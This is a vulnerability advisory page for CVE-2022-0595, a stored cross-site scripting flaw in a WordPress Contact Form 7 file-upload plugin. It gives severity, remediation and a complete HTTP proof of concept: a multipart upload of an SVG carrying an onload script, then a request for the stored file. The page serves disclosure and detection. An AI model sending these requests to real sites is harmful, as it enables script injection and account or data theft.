🔙 목록으로 돌아가기

CVE-2022-0595: WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting

TitleWordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting
Authorakincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
RemediationUpdate the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.
CVSS Score5.4
EPSS Score0.05776
CVE IDCVE-2022-0595
CWE IDCWE-79
Tags cve cve2022 xss wordpress wp-plugin wpscan fileupload intrusive unauth codedropz vuln

🔍 Vulnerability Description

WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
Connection: close
Content-Length: 689
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
Accept-Encoding: gzip

-----------------------------92633278134516118923780781161

Content-Disposition: form-data; name="size_limit"



10485760

-----------------------------92633278134516118923780781161

Content-Disposition: form-data; name="action"



dnd_codedropz_upload

-----------------------------92633278134516118923780781161

Content-Disposition: form-data; name="type"



click

-----------------------------92633278134516118923780781161

Content-Disposition: form-data; name="upload-file"; filename="38F45dUgKrP8Oudopti1zngVlmg.svg"

Content-Type: image/jpeg



<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

-----------------------------92633278134516118923780781161--
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/38F45dUgKrP8Oudopti1zngVlmg.svg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.19
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0595.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0595.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A